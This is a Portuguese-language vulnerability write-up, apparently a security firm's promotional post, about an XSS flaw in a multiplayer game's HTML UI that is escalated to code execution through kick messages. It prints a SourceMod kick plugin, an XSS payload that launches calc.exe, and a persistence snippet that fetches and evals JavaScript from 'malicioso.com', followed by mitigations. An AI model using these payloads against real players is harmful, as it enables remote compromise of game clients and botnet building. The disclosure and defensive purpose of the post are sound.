Resumo Técnico
Uma vulnerabilidade crítica foi descoberta em um jogo multiplayer de uma startup internacional, explorando sua interface UI baseada em HTML/CSS/JS. O ataque permitia que um adversário injeçõesse código HTML e JavaScript malicioso, resultando em execução remota de código (RCE) através de uma falha no processamento de mensagens de desconexão.
A exploração se deu por meio do atributo html="true" em um componente da UI, permitindo a execução arbitrária de código JavaScript e sua persistência no ambiente do jogo. Isso possibilitava comprometer clientes remotamente ao forçá-los a interagir com mensagens de kick contendo payloads maliciosos.
Detalhamento da Vulnerabilidade
A falha ocorre na renderização da interface do jogo, permitindo que entrada controlada por usuários seja interpretada como código HTML válido. O erro se origina do seguinte trecho de código encontrado no arquivo de layout da interface:
<Label html="true" text="<span class='chat-entry__name'>{s:player_name}</span> {s:msg}" acceptsinput="true" />
Esse Label, com html="true", faz com que qualquer texto inserido na variável {s:msg} seja interpretado como HTML. Isso abre caminho para injeção de código arbitrário.
A exploração completa foi encontrada em outro arquivo layout/popups/popup_generic.xml, onde o mesmo erro se repetia no contexto de mensagens de desconexão:
<Label html="true" text="{s:disconnect_message}" />
Essa falha permitia que um atacante enviasse mensagens de kick contendo código JavaScript e que fosse interpretado automaticamente no cliente da vítima.
Exploração – PoC (Proof of Concept)
A exploração foi confirmada em um servidor dedicado customizado. Para explorar a vulnerabilidade, um atacante poderia configurar um servidor do jogo e forçar a execução remota do código malicioso através de uma mensagem de kick customizada:
1. Código do Plugin Malicioso para o Servidor
#include <sourcemod>
#pragma semicolon 1
#pragma newdecls required
public void OnPluginStart()
{
RegConsoleCmd("sm_testkick", Cmd_Kick);
}
public Action Cmd_Kick(int client, int args)
{
if (args <= 0) {
PrintToChat(client, "No arguments provided - Usage: !testkick <Kick Message>");
return Plugin_Handled;
}
char full[5120];
GetCmdArgString(full, sizeof(full));
for (int i = 0; i < 5; i++) {
KickClient(client, full);
}
return Plugin_Handled;
}
Este código permite que qualquer mensagem seja injetada no kick do jogador, inclusive um payload XSS.
2. Enviando o Payload para Exploração
sm_testkick <a onmouseover="javascript:SteamOverlayAPI.OpenExternalBrowserURL('file://C:/Windows/System32/calc.exe')">The remote host stopped receiving communications and closed the connection</a>
O comando acima força a vítima a executar calc.exe ao passar o mouse sobre a mensagem.
3. Criando um Ataque Persistente
Para manter o controle sobre o cliente comprometido, o atacante poderia utilizar funções assíncronas da UI, como $.Schedule() e $.AsyncWebRequest(), para estabelecer um canal remoto persistente:
$.Schedule(1, function() {
eval("$.AsyncWebRequest('http://malicioso.com/payload.js', {complete: function(res) { eval(res); }});");
});
Isso permitiria ao atacante executar código arbitrário continuamente no ambiente da vítima, transformando o exploit em um botnet de clientes infectados.
Impacto da Vulnerabilidade
🚨 Execução Remota de Código (RCE): A falha possibilita que código JavaScript arbitrário seja executado no cliente.
🚨 Comprometimento Total do Sistema: Utilizando a API do jogo, um atacante pode explorar caminhos locais do sistema para executar binários arbitrários.
🚨 Botnet de Jogadores: Atacantes podem utilizar eval() e $.AsyncWebRequest() para manter conexão remota persistente com múltiplos clientes infectados.
🚨 Engenharia Social: O ataque pode ser disfarçado como uma mensagem de banimento falso, forçando os usuários a interagir com a mensagem.
Mitigações e Recomendações
✔️ Remoção do Atributo html="true" de todas as interfaces UI do jogo.
✔️ Sanitização de Entrada: Implementar funções de escape para evitar execução arbitrária de HTML dentro da interface do jogo.
✔️ Restrição de Funções Sensíveis: APIs como OpenExternalBrowserURL() devem exigir permissões explícitas para execução.
✔️ Monitoramento de Anomalias: Implementar logs e detecção de atividades suspeitas em servidores do jogo.
✔️ Treinamento de Administradores: Para evitar a instalação de plugins maliciosos em servidores comunitários.
Conclusão
Esta exploração da interface UI de um jogo multiplayer demonstra como vulnerabilidades XSS podem ser escaladas para ataques de execução remota de código (RCE). O ataque explorou a injeção de código HTML em mensagens de desconexão, permitindo a um atacante comprometer completamente clientes conectados a um servidor malicioso.
Reforçamos a importância de práticas seguras de codificação para evitar ataques semelhantes em aplicações que utilizam frameworks baseados em HTML/CSS/JS.
🔹 Seu jogo está protegido contra ataques XSS avançados?
🔹 Entre em contato e agende uma auditoria de segurança com nossos especialistas!
